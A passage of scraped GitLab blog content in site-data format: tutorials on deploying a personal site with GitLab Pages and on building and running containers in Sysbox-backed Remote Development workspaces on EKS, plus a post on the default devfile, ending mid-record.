your content handy, you can move on to the next steps.\n\n## Step 1: Create a new project\n\n1. Sign on to your GitLab account and create a project.\n\n![GitLab Pages tutorial - welcome screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097724/Blog/Content%20Images/Blog/Content%20Images/Capture-2025-02-27-183716_aHR0cHM6_1750097724662.png)\n\n2. Click **Create blank project**.\n\n![GitLab Pages tutorial - Create new project screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/Capture-2025-02-27-183814_aHR0cHM6_1750097724663.png)\n\n3. Fill in your project details:\n    * Name your project `yourusername.gitlab.io`. Replace `yourusername` with your GitLab username. **Tip:** The project name determines your website’s URL. If you name your project `yourusername.gitlab.io`, your website will be available at `https://yourusername.gitlab.io` with no additional path. However, if you use any other project name, your site will be available at `https://yourusername.gitlab.io/project-name`.\n    * Make the project public.\n4. Click **Create project**.\n\n![GitLab Pages tutorial - Create blank project screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097724666.png)\n\n![GitLab Pages tutorial - customized get started page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097724668.png)\n\n## Step 2: Add the template files\n\nStart by creating two new files in your repository:\n\n![GitLab Pages tutorial - Add new files to personal page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750097724669.png)\n\n1. First, create `index.html`:\n    * In your project, click the **+** button and select **New file**.\n    * Name the file `index.html`.\n![GitLab Pages tutorial - new file page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750097724671.png)\n    * Add your HTML content.\n        * Use the example HTML provided below. (Pro tip: Users can ask GitLab Duo Chat to generate HTML for enhanced functionality.)\n\n```    \n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\"/>\n    \u003Ctitle>[Your Name] - [Your Title]\u003C/title>\n    \u003Cmeta name=\"description\" content=\"[Your Name] is a [Your Title].\"/>\n    \u003Cmeta name=\"author\" content=\"[Your Name]\"/>\n    \u003Cmeta property=\"og:title\" content=\"[Your Name]\" />\n    \u003Cmeta property=\"og:description\" content=\"[Your Title]\" />\n    \u003Cmeta property=\"og:image\" content=\"og.png\" />\n    \u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\"/>\n    \u003Clink href=\"https://unpkg.com/basscss@8.0.2/css/basscss.min.css\" rel=\"stylesheet\">\n    \u003Clink href=\"style.css\" rel=\"stylesheet\">\n    \u003Clink rel=\"shortcut icon\" type=\"image/png\" href=\"favicon.png\"/>\n\u003C/head>\n\u003Cbody>\n\u003Cdiv class=\"content\" id=\"content\">\n  \u003Cdiv class=\"p2 sm-p4 mt2 sm-mt4 mb2 sm-mb4\">  \n  \u003Cdiv class=\"fade mt3\">\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">\n      \u003Cimg class=\"photo\" src=\"profile.png\" width=\"64\" height=\"64\">\n    \u003C/a>\n  \u003C/div>\n  \u003Ch2 class=\"mb0 mt4 fade\">\n    Hello, I'm [Your Name] \n    \u003Cspan class=\"smallcaps\">(\u003C/span>\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">@[Your Handle]\u003C/a>\n    \u003Cspan class=\"smallcaps\">)\u003C/span>\n  \u003C/h2>\n  \u003Ch2 class=\"mt0 mb4 fade gray\">\n    I'm a [Your Title]\n  \u003C/h2>\n  \u003Cp class=\"mb4 fade\">\n    I'm a [Your Role] at [Your Company], [Brief company description].\n  \u003C/p>\n  \u003Cdiv class=\"fade\">\n    \u003Cp class=\"fade mb4\">\n      Your personal statement about what you do and what you're interested in. Add your contact preferences here.\n    \u003C/p>\n  \u003C/div>\n  \u003Cp class=\"fade mb4\">\n    \u003Cspan class=\"gray\">—\u003C/span> \n    [Your Name] \n    \u003Cspan class=\"smallcaps>(\u003C/span>\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">@[Your Handle]\u003C/a>\n    \u003Cspan class=\"smallcaps\">)\u003C/span>\n  \u003C/p>\n  \u003C/div>\n\u003C/div>\n\u003C/body>\n\u003C/html> \n```\n\n* Add a commit message (e.g., \"Added index.html\").\n  * Click **Commit changes**.\n\n2. Create `style.css` (follow same steps above).\n\n```\nbody {\n  margin: 0;\n  padding: 0;\n  background: #000;\n  color: #f4f4f4;\n  font-family: \"Graphik Web\", system-ui, -apple-system, BlinkMacSystemFont, \"Helvetica Neue\", \"Helvetica\", \"Segoe UI\", Roboto, Ubuntu, sans-serif;\n  font-weight: 400;\n  font-smooth: antialiased;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n\na {\n  color: #ff310a;\n  text-decoration: none;\n}\n\na:hover {\n  color: #CFEF54\n}\n\n.content {\n  max-width: 40rem;\n  margin: 0 auto;\n}\n\nimg.photo {\n  border-radius: 50%;\n}\n\np {\n  font-size: 1.5rem;\n  line-height: 1.4;\n  margin: 0;\n  letter-spacing: -0.05rem;\n}\n\nh2 {\n  font-weight: 400;\n  line-height: 1.3;\n  letter-spacing: -0.05rem;\n}\n\n.smallcaps {\n  font-variant: small-caps;\n  color:#333;\n}\n\n.gray{\n  color: #999;\n}\n\n.preloader {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  height: -moz-available;\n  height: -webkit-fill-available;\n  height: fill-available;\n  width: 100%;\n  background: #000;\n  position: fixed;\n  top: 0;\n  left: 0;\n  z-index: 9999;\n  transition: opacity 0.3s linear;\n  transform: translate3d(0, 0, 0);\n}\n\nbody.loaded .preloader {\n  opacity: 0;\n}\n\n.fade {\n  animation: fadeIn 1s ease-in-out both;\n}\n\n.fade:nth-child(2) {\n\tanimation-delay: 1s;\n}\n\n.fade:nth-child(3) {\n\tanimation-delay: 2s;\n}\n\n.fade:nth-child(4) {\n\tanimation-delay: 3s;\n}\n\n.fade:nth-child(5) {\n\tanimation-delay: 4s;\n}\n\n.fade:nth-child(6) {\n\tanimation-delay: 5s;\n}\n\n.fade:nth-child(7) {\n\tanimation-delay: 6s;\n}\n\n.fade:nth-child(8) {\n\tanimation-delay: 7s;\n}\n\n.fade:nth-child(9) {\n\tanimation-delay: 8s;\n}\n\n.fade:nth-child(10) {\n\tanimation-delay: 9s;\n}\n\n.fade:nth-child(11) {\n\tanimation-delay: 10s;\n}\n\n.fade:nth-child(12) {\n\tanimation-delay: 11s;\n}\n\n.fade:nth-child(13) {\n\tanimation-delay: 12s;\n}\n\n@keyframes fadeIn {\n\tfrom {\n\t\topacity: 0;\n\t\ttransform: translate3d(0, 0%, 0);\n\t}\n\tto {\n\t\topacity: 1;\n\t\ttransform: translate3d(0, 0, 0);\n\t}\n} \n\n```\n\n## Step 3: Configure GitLab CI file\n\nThere are two ways to create the GitLab CI configuration file that tells GitLab how to build and deploy your site:\n\n![GitLab Pages tutorial - optimize your workflow with CI/CD pipelines screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097724672.png)\n\n**Option 1: Use Pipeline Editor (recommended)**\n\n1. Go to your project's **Build > Pipeline Editor**.\n\n![GitLab Pages tutorial - pipeline editor/main branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097724673.png)\n\n2. The `.gitlab-ci.yml` file will be automatically created. \n3. Copy and paste the following configuration: \n\n```\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - cp -r * .public\n    - mv .public public\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\n![GitLab Pages Tutorial - New file in window](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097724674.png)\n\n**Option 2: Manual creation**\n\nIf you prefer to create the file manually: \n1. Create a new file named `.gitlab-ci.yml`. \n2. Add the following configuration:\n\n```\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - cp -r * .public\n    - mv .public public\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\nThe key to getting your site running is the GitLab CI configuration file. This file tells GitLab how to build and deploy your site.\n\nLet's break down what each part does:\n\n**The script part**\n\n```\nscript:\n  - mkdir .public\n  - cp -r * .public\n  - mv .public public\n```\n\nThis creates a folder called `public` and copies all your website files into it. GitLab Pages uses this folder to serve your website by default, though you can [customize the publishing folder](https://docs.gitlab.com/user/project/pages/introduction/#customize-the-default-folder) if needed.\n\n**The only part**\n\n```\nonly:\n  - main\n\n```\n\nThis tells GitLab to only update your website when changes are made to the main branch. This helps prevent accidental updates from experimental changes.\n\n## Step 4: Watch the magic happen\n1. Commit all your changes.\n2. Go to **Build > Pipelines** to watch your deployment.\n3. Wait for the pipeline to complete successfully (indicated by a green checkmark).\n\n![GitLab Pages tutorial - pipeline running for new page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097724676.png)\n\n![GitLab Pages tutorial - pipeline passed for new page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097724677.png)\n\n## Step 5: Access your website\n\nOnce the pipeline completes successfully, your website will be available at: **https://[yourusername].gitlab.io/** .\n\nYou can find an overview of your deployed website and additional settings in your project's **Deploy > Pages** section. Here you'll find useful information. including: \n\n* Your website's access URLs   \n* Domain settings  \n  * By default GitLab enables **Unique domain**. Make sure to disable it if you want to use the GitLab-provided domain. Learn more with the [unique domain documentation](https://docs.gitlab.com/ee/user/project/pages#unique-domains).  \n* HTTPS certificates status   \n* Recent deployments   \n* Additional configuration options\n* Custom domains\n\nThis section is particularly helpful when setting up custom domains or troubleshooting deployment issues.\n\n**Customize your site**\n\n![GitLab Pages tutorial - customize site](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097724678.png)\n\n1. Replace all “Your ...” placeholders in `index.html` with your information.\n\n![GitLab Pages tutorial - upload file to customize page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097724679.png)\n\n2. Add your images:\n    - profile.png - your profile photo (64x64px)\n    - favicon.png - your site favicon (32x32px)\n    - Og.png - OpenGraph image for social media preview (1200x630px)\n\n**See it in action**\n\nIf you're familiar with GitLab, feel free to [fork my repository](https://gitlab.com/fracazo/fracazo.gitlab.io) to get started quickly. \n\nHere is the final result:\n[https://fracazo.gitlab.io/](https://fracazo.gitlab.io/)\n\n**Common issues and solutions**\n- By default, GitLab enables \"Unique domain\" for Pages projects. To use the simpler GitLab-provided domain (like `username.gitlab.io`), go to **Deploy > Pages** and disable the \"Use unique domain\" option. While unique domains offer some technical advantages, like better asset path handling, you might prefer the cleaner URL structure for a personal website.\n- If your pipeline fails, check that you're using `main` instead of `master` in your `.gitlab-ci.yml` file.\n- Ensure your group and project is public for GitLab Pages to work.\n- If any jobs fail in your pipeline, you can check the job log for detailed error messages to help with troubleshooting.\n\nWith GitLab Pages and this template, you can have a professional/personal website up and running in minutes. The template is clean, responsive, and easy to customize. As you grow professionally, you can easily update your site directly through GitLab. \n\nYou can automate the deployment process by leveraging GitLab's CI/CD capabilities and focusing on creating great content.\n\nThe best part? All of this is available on GitLab's free tier, making it an excellent option for free hosting of your personal projects, documentation sites, or even small business websites. For more advanced features and configurations, check out our [Pages documentation](https://docs.gitlab.com/ee/user/project/pages/).\n\n## What’s next for GitLab Pages?\nWe're constantly working to make GitLab Pages even better for creators and developers. Here are some exciting improvements coming soon: \n\n### Simplified domain management \nWe have some exciting updates coming to GitLab Pages that will make managing your domains even easier and more fun! You can look forward to a streamlined dashboard that brings all your domain settings together in one friendly space, making everything easily accessible. \n\nYou’ll stay informed with real-time updates on your DNS and SSL certificate statuses, helping you keep your domains secure and running smoothly. \n\n### Custom domain setup\nSetting up custom domains will be a breeze with our easy-to-follow process, guiding you every step of the way. Plus, you'll be able to set up your custom domains to automatically redirect visitors from your old website address to your new one – perfect for when you want all your traffic to go to one main website. Learn more about [custom domains](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#set-up-a-custom-domain).\n\n> Get started with GitLab Pages today with [GitLab's free tier](https://about.gitlab.com/pricing/)! \n\n## Learn more\n- [GitLab Pages features review apps and multiple website deployment](https://about.gitlab.com/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment/)\n- [GitLab Pages: Multiple website deployment documentation](https://docs.gitlab.com/user/project/pages/#parallel-deployments)\n- [GitLab Pages examples](https://gitlab.com/pages)",[696,479],{"slug":2330,"featured":6,"template":678},"build-a-new-website-in-a-few-easy-steps-with-gitlab-pages","content:en-us:blog:build-a-new-website-in-a-few-easy-steps-with-gitlab-pages.yml","Build A New Website In A Few Easy Steps With Gitlab Pages","en-us/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages.yml","en-us/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages",{"_path":2336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2337,"content":2343,"config":2348,"_id":2350,"_type":16,"title":2351,"_source":17,"_file":2352,"_stem":2353,"_extension":20},"/en-us/blog/build-and-run-containers-in-remote-development-workspaces",{"title":2338,"description":2339,"ogTitle":2338,"ogDescription":2339,"noIndex":6,"ogImage":2340,"ogUrl":2341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2341,"schema":2342},"Build and run containers in Remote Development workspaces","Use this easy-to-follow tutorial to create a secure, ephemeral, reproducible development environment in GitLab that can replace your local environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663857/Blog/Hero%20Images/blog-image-template-1800x945__12_.png","https://about.gitlab.com/blog/build-and-run-containers-in-remote-development-workspaces","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Build and run containers in Remote Development workspaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vishal Tak\"}],\n        \"datePublished\": \"2025-03-03\",\n      }",{"title":2338,"description":2339,"authors":2344,"heroImage":2340,"date":2326,"body":2346,"category":695,"tags":2347},[2345],"Vishal Tak","Development environments often require the ability to build and run containers as part of their local development. Securely running containers within containers can be challenging. This article will provide a step-by-step guide to securely build and run containers in a workspace.\n\nYou will learn how to:\n- [Create a Kubernetes cluster on AWS EKS](#create-a-kubernetes-cluster-on-aws-eks)\n- [Configure Sysbox](#configure-sysbox)\n- [Configure GitLab agent for Kubernetes and GitLab Workspaces Proxy](#configure-gitlab-agent-for-kubernetes-and-gitlab-workspaces-proxy)\n- [Configure sudo access for a workspace with Sysbox](#configure-sudo-access-for-a-workspace-with-sysbox)\n- [Configure Ingress Controller](#configure-ingress-controller)\n- [Build containers inside a workspace](#build-containers-inside-a-workspace)\n- [Run containers inside a workspace](#run-containers-inside-a-workspace)\n- [Get started today](#get-started-today)\n\n## Create a Kubernetes cluster on AWS EKS\nInstall the [AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html) on your local machine. Next, configure a [named profile](https://docs.aws.amazon.com/cli/latest/reference/configure/) and export it to ensure all the following `aws` commands use the set credentials.\n\n```\naws configure --profile gitlab-workspaces-container-demo\nexport AWS_PROFILE=gitlab-workspaces-container-demo\n```\n\nInstall [eksctl](https://eksctl.io/installation/), a CLI to interact with AWS EKS. Let’s now create a Kubernetes 1.31 cluster on AWS EKS with 1 node of Ubuntu 22.04 of `c5.2xlarge` instance type. The nodes can autoscale from 0-20 nodes and each node will have a label `sysbox-install: yes` . This will be explained later in the article.\n\n```\nexport CLUSTER_NAME=\"gitlab-workspaces-container-demo-eks-sysbox\"\n\neksctl create cluster \\\n  --name \"${CLUSTER_NAME}\" \\\n  --version 1.31 \\\n  --node-ami-family=Ubuntu2204 \\\n  --nodes=1 \\\n  --nodes-min=0 \\\n  --nodes-max=20 \\\n  --instance-types=c5.2xlarge \\\n  --node-labels \"sysbox-install=yes\" \\\n  --asg-access \\\n  --external-dns-access \\\n  --full-ecr-access\n```\n\nCreate an [IAM OIDC](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) provider for your cluster.\n\n```\neksctl utils associate-iam-oidc-provider --cluster \"${CLUSTER_NAME}\" --approve\n```\n\nCreate IAM role for [EBS add-on](https://docs.aws.amazon.com/eks/latest/userguide/ebs-csi.html) for EKS.\n\n```\neksctl create iamserviceaccount \\\n  --name ebs-csi-controller-sa \\\n  --namespace kube-system \\\n  --cluster \"${CLUSTER_NAME}\" \\\n  --role-name \"AmazonEKS_EBS_CSI_DriverRole_${CLUSTER_NAME}\" \\\n  --role-only \\\n  --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \\\n  --approve\n```\n\nCreate Amazon EBS CSI driver add-on for Amazon EKS cluster.  \n\n```\neksctl utils describe-addon-versions --kubernetes-version 1.31 | grep aws-ebs-csi-driver\n\nexport AWS_ACCOUNT_ID=\"UPDATE_ME\"\n\neksctl create addon \\\n  --cluster \"${CLUSTER_NAME}\" \\\n  --name aws-ebs-csi-driver \\\n  --version latest \\\n  --service-account-role-arn \"arn:aws:iam::${AWS_ACCOUNT_ID}:role/AmazonEKS_EBS_CSI_DriverRole_${CLUSTER_NAME}\" \\\n  --force\n```\n\nInstall [kubectl](https://kubernetes.io/docs/reference/kubectl/), a command line tool for communicating with a Kubernetes cluster's control plane, using the Kubernetes API.\n\nLet’s get the [kubeconfig](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/) of the created cluster.\n\n```\naws eks update-kubeconfig --name \"${CLUSTER_NAME}\"\n```\n\n## Configure Sysbox\n\n[Sysbox](https://github.com/nestybox/sysbox) is a container runtime that improves container isolation and enables containers to run the same workloads as virtual machines.\n\n[Install](https://github.com/nestybox/sysbox#installation) Sysbox on the Kubernetes cluster using the `sysbox-deploy-k8s daemonset`.\n\n```\ncurl https://raw.githubusercontent.com/nestybox/sysbox/refs/tags/v0.6.6/sysbox-k8s-manifests/sysbox-install.yaml -o sysbox-install.yaml\n```\n\nBecause of how Sysbox releases itself, it first created a git tag, which runs a pipeline to build assets after which the YAML files for the `sysbox-deploy-k8s daemonset` are updated. Thus, we need to update the DaemonSet's `spec.template.soec.containers[0].image` to [registry.nestybox.com/nestybox/sysbox-deploy-k8s:v0.6.6-0](https://github.com/nestybox/sysbox/blob/46ba726e8e894aa22e20465a32d22dfa2863ec12/sysbox-k8s-manifests/sysbox-install.yaml#L66) .\n\n```\nnew_image_value=\"registry.nestybox.com/nestybox/sysbox-deploy-k8s:v0.6.6-0\"\ntemp_file=$(mktemp)\nsed -E \"s|^([[:space:]]*image:)[[:space:]]*.*|\\1 $new_image_value|\" \"sysbox-install.yaml\" > \"$temp_file\"\nmv \"$temp_file\" \"sysbox-install.yaml\"\n```\n\nApply the YAML file to Kubernetes and ensure all the pods of the DaemonSet are running.\n\n```\nkubectl apply -f sysbox-install.yaml\nkubectl get pod -A\nkubectl -n kube-system get daemonset\n```\n\nVerify the installation by creating a pod which uses Sysbox container runtime.\n\n```\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: sysbox-verification-pod\n  namespace: default\n  annotations:\n    io.kubernetes.cri-o.userns-mode: \"auto:size=65536\"\nspec:\n  runtimeClassName: sysbox-runc\n  containers:\n  - image: \"hello-world\"\n    imagePullPolicy: Always\n    name: main\n  restartPolicy: Always\nEOF\n\nkubectl -n default get pod sysbox-verification-pod\nkubectl exec -it sysbox-verification-pod -- echo \"Pod is running successfully on a Kubernetes cluster configured with Sysbox.\"\nkubectl -n default delete pod sysbox-verification-pod\n```\n\n## Configure GitLab agent for Kubernetes and GitLab Workspaces Proxy\n\nFollow our [documentation tutorial](https://docs.gitlab.com/ee/user/workspace/set_up_gitlab_agent_and_proxies.html) to set up GitLab agent and GitLab Workspaces Proxy.  \n\n## Configure sudo access for a workspace with Sysbox\n\nFollow our [documentation](https://docs.gitlab.com/ee/user/workspace/configuration.html#with-sysbox) to configure sudo access for a workspace with Sysbox.\n\n## Configure Ingress Controller\n\nSetup [Ingress NGINX Controller for Kubernetes](https://github.com/kubernetes/ingress-nginx)\n\n```\nhelm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx --force-update\nhelm repo update\n\nhelm upgrade --install \\\n  ingress-nginx ingress-nginx/ingress-nginx \\\n  --namespace ingress-nginx \\\n  --create-namespace \\\n  --version 4.11.1 \\\n  --timeout=600s --wait --wait-for-jobs\n\nkubectl -n ingress-nginx get pod\n```\n\n## Build containers inside a workspace\n\nWe’ll use [example-go-http-app](https://gitlab.com/gitlab-org/workspaces/examples/example-go-http-app) as the project to create a workspace from. Open the workspace, start a terminal, and install [Docker](https://docs.docker.com/engine/install/).\n\n```\n# Add Docker's official GPG key:\nsudo apt-get update\nsudo apt-get install ca-certificates curl\nsudo install -m 0755 -d /etc/apt/keyrings\nsudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\nsudo chmod a+r /etc/apt/keyrings/docker.asc\n\n# Add the repository to Apt sources:\necho \\\n  \"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \\\n  $(. /etc/os-release && echo \"${UBUNTU_CODENAME:-$VERSION_CODENAME}\") stable\" | \\\n  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\nsudo apt-get update\nsudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin\n\n# Start the Docker Daemon\nsudo dockerd\n```\n\nBuild the container image.\n\n```\nsudo docker build -t workspaces-golang-server .\n```\n\n## Run containers inside a workspace\n\nLet’s run the container built above and expose port 3000 from the container onto the host (workspace).\n\n```\nsudo docker run -p 3000:3000 workspaces-golang-server\n```\n\nThe port `3000` is exposed in the [.devfile.yaml](https://gitlab.com/gitlab-org/workspaces/examples/example-go-http-app/-/blob/dd3dbb38cdce1143f7ed023980f34630cea991a5/.devfile.yaml#L15) used to create the workspace. Access the server running inside the container from the browser. Here is a video clip.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/JQErF0U6oFk?si=6oiK48q5ghZq312g\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Get started today\n\nFrom GitLab 17.4, you can build and run containers securely in GitLab Workspaces. See our [documentation](https://docs.gitlab.com/ee/user/workspace/configuration.html#build-and-run-containers-in-a-workspace) for more information. Replace your local development environments to GitLab Workspaces for a secure, ephemeral, reproducible development environment. \n\n## Read more\n\n- [Enable secure sudo access for GitLab Remote Development workspaces](https://about.gitlab.com/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces/)\n- [Quickstart guide for GitLab Remote Development workspaces](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/)\n- [Create a workspace quickly with the GitLab default devfile](https://about.gitlab.com/blog/create-a-workspace-quickly-with-the-gitlab-default-devfile/)\n- [Contributor how-to: Remote Development workspaces and GitLab Developer Kit](https://about.gitlab.com/blog/gitlab-gdk-remote-development/)\n",[696,479,754,695],{"slug":2349,"featured":92,"template":678},"build-and-run-containers-in-remote-development-workspaces","content:en-us:blog:build-and-run-containers-in-remote-development-workspaces.yml","Build And Run Containers In Remote Development Workspaces","en-us/blog/build-and-run-containers-in-remote-development-workspaces.yml","en-us/blog/build-and-run-containers-in-remote-development-workspaces",{"_path":2355,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2356,"content":2362,"config":2369,"_id":2371,"_type":16,"title":2372,"_source":17,"_file":2373,"_stem":2374,"_extension":20},"/en-us/blog/create-a-workspace-quickly-with-the-gitlab-default-devfile",{"title":2357,"description":2358,"ogTitle":2357,"ogDescription":2358,"noIndex":6,"ogImage":2359,"ogUrl":2360,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2360,"schema":2361},"Create a workspace quickly with the GitLab default devfile","The GitLab default devfile makes it easier than ever to try out workspaces for new projects. Learn how to share developer environment configurations effortlessly with this tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097860/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%281%29_2XDPsbkjQ3o6tcdom6IGxI_1750097859914.png","https://about.gitlab.com/blog/create-a-workspace-quickly-with-the-gitlab-default-devfile","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Create a workspace quickly with the GitLab default devfile\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Zhaochen Li\"}],\n        \"datePublished\": \"2025-02-27\",\n      }",{"title":2357,"description":2358,"authors":2363,"heroImage":2359,"date":2365,"body":2366,"category":695,"tags":2367},[2364],"Zhaochen Li","2025-02-27","Software development environments can be complex to set up and maintain. Developers often spend a significant amount of time configuring their local environments with the right dependencies, tools, and settings. GitLab aims to solve this by providing a default devfile that enables you to create workspaces and to start developing quickly.\n\n## GitLab Workspaces\n\nGitLab Workspaces provide isolated development environments for making changes to your GitLab projects without the complexity of setting up local dependencies. Workspaces ensure reproducible development setups, allowing developers to share their environment configurations effortlessly.\n\nBy default, GitLab Workspaces are configured to use the GitLab VS Code fork and include the GitLab Workflow extension. To learn more, visit [the GitLab Workspaces documentation](https://docs.gitlab.com/ee/user/workspace/).\n\n## Understand devfiles\n\nA [**devfile**](https://devfile.io/docs/2.2.0/devfile-ecosystem) is a YAML-based declarative configuration file that defines a project's development environment. It specifies the necessary tools, languages, runtimes, and other components required for development.\n\nPreviously, [setting up a workspace](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/) required a custom devfile at the root of the repository. For example, a `.devfile.yaml` file. A typical devfile looked like this:\n\n![typical default devfile](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097868/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2025-02-26_at_8.15.58_AM_aHR0cHM6_1750097868229.png)\n\n## GitLab default devfile\n\nStarting in GitLab 17.9, a GitLab default devfile is available for all projects when creating a workspace. This eliminates the need to manually create a devfile before starting a workspace.\nHere is the content of the default devfile:\n\n![GitLab default devfile content](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097868/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2025-02-26_at_8.16.20_AM_aHR0cHM6_1750097868230.png)\n\nWhen creating a workspace with the GitLab UI, the option **Use GitLab default devfile** is always available – regardless of whether custom devfiles exist in the repository. Simply select this option to start exploring GitLab Workspaces with one less setup step.\n\n![Use GitLab default devfile screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097868/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097868232.png)\n\n## Create your own custom devfiles\nWhile the GitLab default devfile provides a quick way to start a workspace, you may want to customize your development environment to better fit your project's needs. By creating a custom devfile, you can tailor your development environment with the exact tools, dependencies, and configurations needed for your workflow.\n\nConsider creating a custom devfile if you need to:\n\n- Add project-specific dependencies beyond the base development image.\n- Adjust CPU and memory resource limits.\n- Configure multiple containers for additional services like databases.\n- Define custom, project-specific, environment variables.\n- Set up specific port mappings.\n- Integrate specialized development tools like debuggers or language servers.\n\nFor more details, see the [Workspaces devfile documentation](https://docs.gitlab.com/ee/user/workspace/#devfile).\n\n## Read more\n\n- [Build and run containers in Remote Development workspaces](https://about.gitlab.com/blog/build-and-run-containers-in-remote-development-workspaces/)\n- [Use GitLab AI features out-of-the-box in a GitLab Workspace](https://about.gitlab.com/blog/use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace/)\n- [Quickstart guide for GitLab Remote Development workspaces](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/)\n- [Enable secure sudo access for GitLab Remote Development workspaces](https://about.gitlab.com/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces/)\n",[2368,479,754,696,695],"collaboration",{"slug":2370,"featured":6,"template":678},"create-a-workspace-quickly-with-the-gitlab-default-devfile","content:en-us:blog:create-a-workspace-quickly-with-the-gitlab-default-devfile.yml","Create A Workspace Quickly With The Gitlab Default Devfile","en-us/blog/create-a-workspace-quickly-with-the-gitlab-default-devfile.yml","en-us/blog/create-a-workspace-quickly-with-the-gitlab-default-devfile",{"_path":2376,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2377,"content":2383,"config":2388,"_id":2390,"_type":16,"title":2391,"_source":17,"_file":2392,"_stem":2393,"_extension":20},"/en-us/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"title":2378,"description":2379,"ogTitle":2378,"ogDescription":2379,"noIndex":6,"ogImage":2380,"ogUrl":2381,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2381,"schema":2382},"GitLab Duo Self-Hosted: Enterprise AI built for data privacy","Customers in regulated industries can now deploy GitLab Duo on self-managed infrastructure, leveraging the power of generative AI while helping to address data residency and privacy concerns.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097840/Blog/Hero%20Images/Blog/Hero%20Images/Self-Hosted%201800x945_1dL1II2ITh2PteObA9DBLD_1750097839679.png","https://about.gitlab.com/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": 